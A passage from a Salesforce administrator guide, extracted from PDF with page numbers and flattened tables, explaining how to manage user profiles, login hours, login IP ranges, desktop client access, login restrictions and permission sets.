On the Apex Class Access page in the enhanced profile user interface, you can: Change the Apex class access settings Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview

507

User Management

User Profiles Overview

Switch to a different settings page by clicking the down arrow next to the Apex Class Access name and selecting the page you want

See Also:
Apex Class Security Overview Apex Code Overview Working in the Enhanced Profile User Interface Overview Page

Working with Visualforce Page Access in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view Visualforce page access settings: To edit Visualforce page access settings: View Setup and Configuration Manage Users

On the Visualforce Page Access page in the enhanced profile user interface, you can: Change the Visualforce page access settings Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Visualforce Page Access name and selecting the page you want

See Also:
Visualforce Page Security Overview Visualforce Overview Working in the Enhanced Profile User Interface Overview Page

Working with System Permissions in the Enhanced Profile User Interface

508

User Management

User Profiles Overview

Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view system permissions: To edit system permissions: View Setup and Configuration Manage Users

System permissions control users' ability to perform tasks that apply to all appssuch as Modify All Dataor tasks that don't apply to any appssuch as API Only User. On the System Permissions page in the enhanced profile user interface, you can: Change the system permissions by clicking Edit Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. In some cases, affected permissions are enabled or disabled on a separate page, so the change may not be immediately apparent. For example, enabling the View All Data system permission automatically enables the Read object permission for all objects. Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the App Permissions name and selecting the page you want

See Also:
User Permissions Working in the Enhanced Profile User Interface Overview Page

Working with Desktop Client Access in the Enhanced Profile User Interface

509

User Management

User Profiles Overview

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view desktop client access settings: To edit desktop client access settings: View Setup and Configuration Manage Users

Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available. Note: To access desktop clients, users must also have the API Enabled permission.

On the Desktop Client Access page in the enhanced profile user interface, you can: Change the desktop client access settings by clicking Edit Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Desktop Client Access name and selecting the page you want

See Also:
Desktop Client Access Overview Working in the Enhanced Profile User Interface Overview Page

Working with Login Hours in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view login hour settings: View Setup and Configuration

On the Login Hours page in the enhanced profile user interface, you can: View and edit the hours when users can log in Search for an object, permission, or setting

510

User Management

User Profiles Overview

Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Login Hours name and selecting the page you want

See Also:
Setting Login Restrictions Working in the Enhanced Profile User Interface Overview Page

Viewing and Editing Login Hours in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view login hour settings: To edit login hour settings: View Setup and Configuration Manage Users

For each profile, you can specify the hours when users can log in. 1. 2. 3. 4. 5. Click Your Name > Setup > Manage Users > Profiles. Select a profile. In the profile overview page, click Login Hours. To change the login hours, click Edit. Set the days and hours when users with this profile can log in to the organization. To allow users to log in at any time, click Clear All Times. To prohibit users from using the system on a specific day, set the start and end times to the same value. If a user logs in before the restricted hours, the system ends the users session when the restricted hours begin. Note: The first time login hours are set for a profile, the hours are based on the organization's Default Time Zone as specified at Your Name > Setup > Company Profile > Company Information. After that, any changes to the organization's Default Time Zone won't change the time zone for the profile's login hours. As a result, the login hours are always applied at those exact times even if a user is in a different time zone or if the organization's default time zone is changed. Depending on whether you're viewing or editing login hours, the hours may appear differently. On the Login Hours detail page, hours are shown in your specified time zone. On the Login Hours Edit page, they appear in the organization's original default time zone.

511

User Management

User Profiles Overview

Working with Login IP Ranges in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view login IP ranges: View Setup and Configuration

For each profile, you can view and specify the IP addresses from which users can log in. When you define IP address restrictions for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. On the IP Ranges page in the enhanced profile user interface, you can: View and edit the login IP address ranges Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Login IP Ranges name and selecting the page you want

See Also:
Restricting Login IP Ranges for Your Organization Setting Login Restrictions Working in the Enhanced Profile User Interface Overview Page

Viewing and Editing Login IP Ranges in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view login IP ranges: To edit login IP ranges: View Setup and Configuration Manage Users

For each profile, you can view and specify the IP addresses from which users can log in. When you define IP address restrictions for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. To view and edit IP address ranges in the enhanced profile user interface: 1. Click Your Name > Setup > Manage Users > Profiles.. 2. Select a profile.

512

User Management

User Profiles Overview

3. In the profile overview page, click Login IP Ranges. 4. Use any of these methods to change login IP address ranges for the profile. Click Add IP Ranges. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End Address field. The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0 as both the start and end addresses. To change or remove an existing IP address range, click Edit or Delete for that range.

Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in Sandbox organizations for the Winter '12 release. Note: The mobile application bypasses IP range definitions set up for profiles. When accessing dashboards and Visualforce pages, the mobile application initiates a secure connection to Salesforce over the mobile carrier's network, but the mobile carrier's IP addresses might be outside of the IP ranges allowed on the user's profile.

See Also:
Restricting Login IP Ranges for Your Organization Setting Login Restrictions Setting Session Security Administrator setup guide: Security Implementation Guide

Working with Service Provider Settings in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view service provider settings: To edit service provider settings: View Setup and Configuration Manage Users AND Customize Application

An identity provider is a trusted provider that enables users to use single sign-on to access other websites. A service provider is a website that hosts applications. If you have enabled Salesforce as an identity provider and defined one or more service providers, you can enable access to certain service providers for individual profiles. On the Service Providers page in the enhanced profile user interface, you can: Change the service provider settings by clicking Edit Search for an object, permission, or setting

513

User Management

User Profiles Overview

Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Service Providers name and selecting the page you want

See Also:
About Identity Providers and Service Providers Working in the Enhanced Profile User Interface Overview Page

Working with Profiles in the Original Profile Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions The settings that are available on the profile detail page vary according to your Edition.

To view a profile, click Your Name > Setup > Manage Users > Profiles, then select the profile you want. On the profile detail page, you can: Edit the profile Create a profile based on this profile For custom profiles only, click Delete to delete the profile View the users who are assigned to this profile

See Also:
User Profiles Overview Viewing and Managing Users Overview of User Permissions and Access

Editing Profiles in the Original Profile Interface

514

User Management

User Profiles Overview

Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To edit profiles: Manage Users AND Customize Application

You can edit all settings in a custom profile. In standard profiles, you can edit all settings except name and description, and object and user permissions. 1. Click Your Name > Setup > Manage Users > Profiles. 2. Select the profile you want to edit. 3. On the profile detail page, click Edit to change any of the following settings: For custom profiles only, the name and description The standard or custom apps that are visible to users with the profile. Note: Every profile must have at least one visible app, except for profiles associated with Customer Portal users because apps are not available to them. Tab visibility settings For custom profiles only, administrative and general permissions For custom profiles only, object permissions Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. For example, enabling View All Data automatically enables Read for all standard and custom objects. Likewise, enabling Transfer Leads automatically enables Read and Create on leads. Tip: If enhanced profile list views are enabled for your organization, you can change permissions for multiple profiles from the list view. Desktop client access settings

You can also view or edit the following settings from the profile detail page: Setting Console layouts for all profiles Page layouts Access to fields in each object Procedure to View or Edit Under the Console Settings section, click Edit. Under the Page Layouts section, click View Assignment next to an object name. Under the Field-Level Security section, click View next to an object name.

515

User Management

User Profiles Overview

Setting Record types

Procedure to View or Edit Under the Record Type Settings section, click Edit next to a tab name. The Edit link is available only if record types exist for the object. Under the Login Hours section, click Edit. Under the Login IP Ranges section, click New, or click Edit next to an existing IP range. Under the Enabled Apex Class Access section, click Edit. Under the Enabled Visualforce Page Access section, click Edit.

Login hours Login IP address ranges Executable Apex classes Executable Visualforce pages

Assigning Record Types to Profiles in the Original Profile User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign record types to profiles: Customize Application

After creating record types and including picklist values in them, add record types to user profiles and assign a default record type for each profile. When you add a record type to a profile, users with that profile can assign that record type to records they create or edit. Note: Any user can view records having any record type, even if the record type is not associated with their profile.

A profile can be associated with several record types. For example, a user who creates opportunities for both hardware and software sales can have both Hardware and Software record types available when creating opportunities if both record types have been added to the users profile. 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Profiles. Select a profile. The record types available for that profile are listed in the Record Type Settings section. Click Edit next to the appropriate type of record. Select a record type from the Available Record Types list and add it to the Selected Record Types list to make it available to users with that profile. Master is a system-generated record type that's used when a record has no custom record type associated with it. When Master is assigned, users can't set a record type to a record, such as during record creation. All other record types are custom record types. 5. From the Default drop-down list, choose a default record type. If your organization uses person accounts, this setting also controls which account fields display in the Quick Create area of the accounts home page.

516

User Management

User Profiles Overview

6. If your organization uses person accounts, set additional options for the default record types for both person accounts and business accounts. These settings are used when defaults are needed for both kinds of accounts, such as when converting leads. From the Business Account Default Record Type drop-down list, choose a default record type for business accounts. From the Person Account Default Record Type, choose a default record type for person accounts.

7. Click Save. Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record types for opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the picklist values and default value for the master are available in all accounts. Note: If your organization uses person accounts, you can view the record type defaults for business accounts and person accounts in the Account Record Type Settings section of the profile detail page. Also, clicking Edit in that section is an alternative way of opening the page where you set record type defaults for accounts. For more information, see What is a Person Account? on page 61.

See Also:
Managing Record Types Setting Record Type Preferences

Assigning Page Layouts in the Original Profile User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign page layouts: Manage Users

1. 2. 3. 4. 5.

Click Your Name > Setup > Manage Users > Profiles. Select a profile. Click View Assignment next to any tab name in the Page Layouts section. Click Edit Assignment. Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If your organization uses record types, a matrix displays a page layout selector for each profile and record type. When selecting page layout assignments: Click a cell, column, or row heading to select all the table cells in that column or row. Press SHIFT+click to select multiple adjacent table cells, columns, or rows. Press CTRL+click to select multiple nonadjacent table cells, columns, or rows. Click any cell and drag to select a range of cells. Click Next or Prev to view another set of record types.

517

User Management

User Profiles Overview

Selected page layout assignments are highlighted. Page layout assignments you change are italicized until you save your changes. 6. If necessary, select another page layout to assign from the Page Layout To Use drop-down list and repeat the previous step for the new page layout. 7. Click Save.

See Also:
Assigning Page Layouts

Desktop Client Access Overview


Available in: Enterprise, Unlimited, and Developer Editions

Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available. To set permissions for Salesforce for Outlook, use the Manage Email Client Configurations permission. In Enterprise, Unlimited, and Developer Editions, you can set users' access to desktop client by editing their profiles. Use the method for the profile user interface you have enabled. Set desktop client access in the enhanced profile user interface Set desktop client access in the original profile user interface

The desktop client access options are: Option Off (access denied) On, no updates Meaning The respective client download page at Your Name > Setup > Desktop Integration is hidden. Also, users can't log in from the client. The respective client download page at Your Name > Setup > Desktop Integration is hidden. Users can log in from the client but can't upgrade it from their current version. Users can download, log in from, and upgrade the client, but don't see alerts when a new version is made available. Users can download, log in from, and upgrade the client. They can see update alerts, and can follow or ignore them. Users can download, log in from, and upgrade the client. When a new version is available, they can see an update alert. They can't log in from the client until they have upgraded it.

On, updates w/o alerts On, updates w/alerts On, must update w/alerts

Connect Offline is the only client available with Developer Edition. In Personal, Group, and Professional Editions, all users have the system default On, updates w/o alerts for all clients.

518

User Management

User Profiles Overview

Note: Desktop client access is available only for users whose profiles have the API Enabled permission. If users in your organization have a Connect for Outlook version earlier than 2.0 (such as version 115), and their profile setting is Off (access denied) or On, must update w/alerts, the error Invalid Salesforce API request may occur when they attempt to log in to Connect for Outlook. Users with Connect for Outlook 2.0 or later will see an appropriate descriptive message.

If users can see alerts and they have logged in to Salesforce from the client in the past, an alert banner automatically appears in the Home tab when a new version is available. Clicking the banner opens the Check for Updates page, where users can download and run installer files. Users can also click Your Name > Setup > Desktop Integration > Check for Updates, regardless of whether an alert has occurred.

See Also:
Administrator tip sheet: Administering Salesforce Desktop Clients Force.com Connect for Microsoft Outlook Overview Force.com Connect Offline Overview Force.com Connect for Microsoft Office Overview Force.com Connect for Lotus Notes Overview

Viewing and Editing Desktop Client Access in the Original Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view desktop client access settings: To edit desktop client access settings: View Setup and Configuration Manage Users

Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available. Note: To access desktop clients, users must also have the API Enabled permission.

1. Click Your Name > Setup > Manage Users > Profiles. 2. Click Edit next to a profile name, and scroll to the Desktop Integration Clients section at the bottom of the page.

See Also:
Desktop Client Access Overview

519

User Management

User Profiles Overview

Viewing and Editing Login Hours in the Original Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To set login hours: Manage Users

For each profile, you can specify the hours when users can log in. 1. Click Your Name > Setup > Manage Users > Profiles, and select a profile. 2. Click Edit in the Login Hours related list. 3. Set the days and hours when users with this profile can use the system. To allow users to log in at any time, click Clear All Times. To prohibit users from using the system on a specific day, set the start and end times to the same value. If a user logs in before the restricted hours, the system ends the users session when the restricted hours begin. 4. Click Save. Note: The first time login hours are set for a profile, the hours are based on the organization's Default Time Zone as specified at Your Name > Setup > Company Profile > Company Information. After that, any changes to the organization's Default Time Zone won't change the time zone for the profile's login hours. As a result, the login hours are always applied at those exact times even if a user is in a different time zone or if the organization's default time zone is changed. Depending on whether you're viewing or editing login hours, the hours may appear differently. On the profile detail page, hours are shown in your specified time zone. On the Login Hours edit page, they appear in the organization's default time zone.

See Also:
Setting Login Restrictions Administrator setup guide: Security Implementation Guide

Viewing and Editing Login IP Address Ranges in the Original Profile User Interface

520

User Management

User Profiles Overview

Available in: All Editions

User Permissions Needed To set login IP ranges: Manage Users

You can set the IP addresses from which users with a particular profile can log in. When you define IP address restrictions for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. To set IP addresses on profiles: 1. The procedure you use to restrict the range of valid IP addresses on profiles depends on your Edition: If you're using Enterprise Edition, Unlimited Edition, or Developer Edition, click Your Name > Setup > Manage Users > Profiles, and select a profile. For Professional Edition, Group Edition, and Personal Edition, click Your Name > Setup > Security Controls > Session Settings.

2. Click New in the Login IP Ranges related list 3. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End Address field. The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0 as both the start and end addresses. Note: The mobile application bypasses IP range definitions set up for profiles. When accessing dashboards and Visualforce pages, the mobile application initiates a secure connection to Salesforce over the mobile carrier's network, but the mobile carrier's IP addresses might be outside of the IP ranges allowed on the user's profile. 4. Click Save. Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in Sandbox organizations for the Winter '12 release. Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only

521

User Management

User Profiles Overview

within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce cache and any intermediate caches.

See Also:
Restricting Login IP Ranges for Your Organization Setting Login Restrictions Setting Session Security Administrator setup guide: Security Implementation Guide

Setting Login Restrictions


Available in: All Editions

To help protect your organization's data against unauthorized access, you have several options for setting login restrictions. Login Hours For each profile, you can set the hours when users can log in. See: Viewing and Editing Login Hours in the Enhanced Profile User Interface on page 511 Viewing and Editing Login Hours in the Original Profile User Interface on page 520

Login IP Address Ranges For each profile, you can set the IP addresses from which users can log in. See: Viewing and Editing Login IP Ranges in the Enhanced Profile User Interface on page 512 Viewing and Editing Login IP Address Ranges in the Original Profile User Interface on page 520

Organization-Wide Trusted IP Address List For all users, you can set a list of IP address ranges from which they can always log in without receiving a login challenge. See Restricting Login IP Ranges for Your Organization on page 629. When users log in to Salesforce, either via the user interface, the API, or a desktop client such as Connect for Outlook, Salesforce for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes, or the Data Loader, Salesforce confirms that the login is authorized as follows: 1. Salesforce checks whether the user's profile has login hour restrictions. If login hour restrictions are specified for the user's profile, any login outside the specified hours is denied. 2. Salesforce then checks whether the user's profile has IP address restrictions. If IP address restrictions are defined for the user's profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. 3. If profile-based IP address restrictions are not set, Salesforce checks whether the user is logging in from an IP address they have not used to access Salesforce before: If the user's login is from a browser that includes a Salesforce cookie, the login is allowed. The browser will have the Salesforce cookie if the user has previously used that browser to log in to Salesforce, and has not cleared the browser cookies.

522

User Management

User Profiles Overview

If the user's login is from an IP address in your organization's trusted IP address list, the login is allowed. If the user's login is from neither a trusted IP address nor a browser with a Salesforce cookie, the login is blocked.

Whenever a login is blocked or returns an API login fault, Salesforce must verify the user's identity: For access via the user interface, the user is prompted to click a Send Activation Link button to send an activation email to the address specified on the user's Salesforce record. The email instructs the user to copy and paste an activation link into their browser to activate their computer for logging in to Salesforce. The activation link included in the email is valid for up to 24 hours from the time the user clicked the Send Activation Link button. After 24 hours, the activation link expires, and users must repeat the activation process to log in. Note: A user will not be asked to activate the first time they log in to Salesforce.

For access via the API or a client, the user must add their security token to the end of their password in order to log in. A security token is an automatically-generated key from Salesforce. For example, if a user's password is mypassword, and their security token is XXXXXXXXXX, then the user must enter mypasswordXXXXXXXXXX to log in. Users can obtain their security token by changing their password or resetting their security token via the Salesforce user interface. When a user changes their password or resets their security token, Salesforce sends a new security token to the email address on the user's Salesforce record. The security token is valid until a user resets their security token, changes their password, or has their password reset. Tip: We recommend that you obtain your security token using the Salesforce user interface from a trusted network prior to attempting to access Salesforce from a new IP address.

Tips on Setting Login Restrictions Consider the following when setting login restrictions: When a user's password is changed, the user's security token is automatically reset. The user may experience a blocked login until he or she adds the automatically-generated security token to the end of his or her password when logging in to Salesforce via the API or a client. Partner portal and Customer Portal users are not required to activate computers to log in. For more information on API login faults, see the Core Data Types Used in API Calls topic in the Web Services API Developer's Guide . If single sign-on is enabled for your organization, API and desktop client users can't log into Salesforce unless their IP address is included on your organization's list of trusted IP addresses or on their profile, if their profile has IP address restrictions set. Futhermore, the single sign-on authority usually handles login lockout policies for users with the Is Single Sign-On Enabled permission. However, if the security token is enabled for your organization, then your organization's login lockout settings determine the number of times a user can attempt to log in with an invalid security token before being locked out of Salesforce. The following events count toward the number of times a user can attempt to log in with an invalid password before being locked out of Salesforce, as defined in your organization's login lockout settings: Each time a user is prompted to click the Send Activation Link button

523

User Management

Permission Sets Overview

Each time a user incorrectly adds their security token to the end of their password to log into the API or a client

See Also:
About Single Sign-On Setting Password Policies Resetting Your Security Token Administrator setup guide: Security Implementation Guide

PERMISSION SETS
Permission Sets Overview
Available in: Enterprise, Unlimited, Developer, and Database.com Editions Visualforce is not available in Database.com

A permission set is a collection of settings and permissions that give users access to various tools and functions. The settings and permissions in permission sets are also found in profiles, but permission sets extend users' functional access without changing their profiles. For example, to give users access to a custom object, create a permission set, enable the required permissions for the object, and assign the permission set to the users. You never have to change profiles, or create a profile for a single use case. While users can have only one profile, they can have multiple permission sets. Permission sets include: Object and field permissions App permissions Apex class access Visualforce page access System permissions Service providers (only if you've enabled Salesforce as an identity provider)

See Also:
Overview of User Permissions and Access Working in a Permission Set's Overview Page Creating Permission Sets Assigning Permission Sets User Profiles Overview

524

User Management

Overview of User Permissions and Access

Overview of User Permissions and Access


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User permissions and access settings specify what users can do within an organization. For example, permissions determine a user's ability to edit an object record, view the Setup menu, empty the organizational recycle bin, or reset a user's password. Access settings determine other functions, such as access to Apex classes, app visibility, and the hours when users can log in. Permissions and access settings are specified in user profiles and permission sets. Every user is assigned only one profile, but can also have multiple permission sets. When determining access for your users, it's a good idea to use profiles to assign the minimum permissions and access settings for specific groups of users, then use permission sets to grant additional permissions. Because you can assign many permission sets to users and permission sets are reusable, you can distribute access among more logical groupings of users, regardless of their primary job function. For example, you could create a permission set that gives read access to a custom object and assign it to a large group of users, and create another permission set that gives edit access to the object and assign it to only a few users. You can assign these permission sets to various types of users, regardless of their profiles. The following table shows the types of permissions and access settings that are specified in profiles and permission sets. Some profile settings aren't included in permission sets. Permission or Setting Type Assigned apps Tab settings Record type assignments Page layout assignments Object permissions Field permissions User permissions (app and system) Apex class access Visualforce page access Service provider access (if Salesforce is enabled as an identity provider) Desktop client access Login hours In Profiles? In Permission Sets?

525

User Management

Revoking Permissions and Access

Permission or Setting Type Login IP ranges

In Profiles?

In Permission Sets?

See Also:
Permission Sets Overview User Profiles Overview Revoking Permissions and Access

Revoking Permissions and Access


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

You can use profiles and permission sets to grant access, but not to deny access. Any permission granted from either a profile or permission set is honored. For example, if Transfer Record isn't enabled in Jane Smith's profile, but is enabled in two of her permission sets, she can transfer records regardless of whether she owns them. To revoke a permission, you must remove all instances of the permission from the user. You can do this with the following actionseach has possible consequences. Action Consequence

Disable a permission or remove an access setting in the profile The permission or access setting is disabled for all other users and any permission sets that are assigned to the user. assigned to the profile or permission sets. If a permission or access setting is enabled in the user's profile, The user may lose other permissions or access settings assign a different profile to the user. associated with the profile or permission sets. AND If the permission or access setting is enabled in any permission sets that are assigned to the user, remove the permission set assignments from the user.

To resolve the consequence in either case, consider all possible options. For example, you can clone the assigned profile or any assigned permission sets where the permission or access setting is enabled, disable the permission or access setting, and assign the cloned profile or permission sets to the user. Another option is to create a base profile with the least number of permissions and settings that represents the largest number of users possible, then create permission sets that layer additional access.

See Also:
Assigning Permission Sets Overview of User Permissions and Access Creating Permission Sets

526

User Management

Creating Permission Sets

Creating Permission Sets


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create permission sets: Manage Users

You can either clone an existing permission set or create a new one. A cloned permission set starts with the same user license and enabled permissions as the permission set it is cloned from, while a new permission set starts with no user license selected and no permissions enabled. You can create up to 1,000 permission sets. 1. Click Your Name > Setup > Manage Users > Permission Sets. 2. Do one of the following: To create a permission set with no permissions enabled, click New. To create a permission set based on an existing set, click Clone next to the set you want to copy. You can also select the permission set and click Clone in the overview page or one of the settings pages. Note: Clone a permission set only if the new one will have the same user license as the original. In a cloned permission set, you can't select a different license.

3. Enter a label, API name, and description. The API name is a unique name used by the Force.com API and managed packages. It must begin with a letter, and use only alphanumeric characters and underscores. It can't include spaces, end with an underscore, or have two consecutive underscores. 4. If this is a new permission set, select the user license that matches the users who will use this permission set. For example, if you plan to assign this permission set to users with the Salesforce license, select Salesforce. 5. Click Save. The permission set overview page appears. From here you can navigate to the permissions you want to add or change.

See Also:
Assigning Permission Sets Working in a Permission Set's Overview Page Viewing Feature Licenses

Using Permission Set Lists

527

User Management

Using Permission Set Lists

Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view permission sets, and print permission set lists: To delete permission sets and permission set list views: View Setup and Configuration Manage Users

To view the permission sets in your organization, click Your Name > Setup > Manage Users > Permission Sets. In the permission sets list page, you can: Show a filtered list of permission sets by selecting a view from the drop-down list Create a list view or edit an existing view Delete a list view by selecting it from the drop-down list and clicking Delete Create or clone a permission set Print a list view Refresh the list view by clicking Edit permissions directly in a list view View or edit a permission set If it's not assigned to any users, remove a permission set by clicking Del

See Also:
Permission Sets Overview Assigning Permission Sets

Creating and Editing Permission Set List Views


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create, edit, and delete permission set list views: Manage Users

You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For example, you could create a list view of all permission sets in which Modify All Data is enabled. 1. In the Permission Sets page, click Create New View, or select a view and click Edit. 2. Enter the view name. 3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals True.

528

User Management

Using Permission Set Lists

a. b. c. d.

Type a setting name, or click the lookup icon to search for and select the setting you want. Choose a filter operator. Enter the value that you want to match. To specify another filter condition, click Add Row. You can specify up to 25 filter condition rows. To remove a filter condition row and clear its values, click .

4. Under Select Columns to Display, specify the settings that you want to appear as columns in the list view. You can add up to 15 columns. a. From the Search drop-down list, select a setting type. b. Enter part or all of a word in the setting you want to add and click Find. Note: If the search finds more than 500 values, no results appear. Refine your search criteria to show fewer results. c. To add or remove columns, select one or more column names and click the Add or Remove arrow. d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want. 5. Click Save, or if you're cloning an existing view, rename it and click Save As.

See Also:
Using Permission Set Lists Editing Permission Sets from a List View Deleting List Views

Editing Permission Sets from a List View


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To edit multiple permission sets from the list view: Manage Users AND Customize Application AND Mass Edits from Lists

You can change permissions in up to 200 permission sets directly from the list view, without accessing individual permission sets.

529

User Management

Using Permission Set Lists

Note: Use care when editing permission sets with this method. Making mass changes may have a widespread effect on users in your organization. 1. Select or create a list view that includes the permission sets and permissions you want to edit. Editable fields display a pencil icon ( ) when you hover over the field, while non-editable fields display a lock icon ( ). 2. To edit multiple permission sets, select the checkbox next to each one you want to edit. If you select permission sets on multiple pages, the selections on each page are remembered. 3. Double-click the permission you want to edit. For multiple permission sets, double-click the permission in any of the selected permission sets. 4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change other permissions. For example, if Manage Cases and Transfer Cases are enabled in a permission set and you disable Transfer Cases, then Manage Cases is also disabled. In this case, the dialog box lists the affected permissions. 5. To change multiple permission sets, select All n selected records (where n is the number of permission sets you selected). 6. Click Save. If you edit multiple permission sets, only those that support the permission you are changing will change. For example, if you use inline editing to enable Modify All Data in a permission set, but because of its user license the permission set doesn't have Modify All Data, the permission set won't change. If any errors occur, the error message lists each permission set and a description of the error. Click the permission set name to open its overview page. The permission sets you've clicked appear in the error window in gray, strike-through text. Note: To view the error console, pop-up blockers must be disabled for the Salesforce domain. To check if your browser allows pop-up windows, click Your Name > Setup > My Personal Information > Reminders, and then click Preview Reminder Alert. Any changes you make are recorded in the setup audit trail.

See Also:
Creating and Editing Permission Set List Views Monitoring Setup Changes Using Permission Set Lists

Working in a Permission Set's Overview Page

530

User Management

Working in a Permission Set's Overview Page

Available in: Enterprise, Unlimited, Developer, and Database.com Editions Visualforce is not available in Database.com

User Permissions Needed To view permission sets: View Setup and Configuration

To delete permission sets and edit permission set properties: Manage Users

A permission set's overview page provides an entry point for all of the permissions in a permission set. To open a permission set overview page, click Your Name > Setup > Manage Users > Permission Sets and select the permission set you want to view. From the permission set overview page, you can: Search for an object, setting, or permission Create a permission set based on the current permission set If it's not assigned to any users, remove the permission set by clicking Delete Change the permission set label, API name, or description by clicking Edit Properties View a list of users who are assigned to the permission set View or edit: Object and field permissions App permissions Apex class access settings Visualforce page access settings System permissions Service providers (if you've enabled Salesforce as an identity provider)

See Also:
Assigning Permission Sets About App and System Permissions Permission Sets Overview

About App and System Permissions


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

In permission sets, permissions and settings are organized into app and system categories, which reflect the rights users need to administer and use system and app resources.

531

User Management

Working in a Permission Set's Overview Page

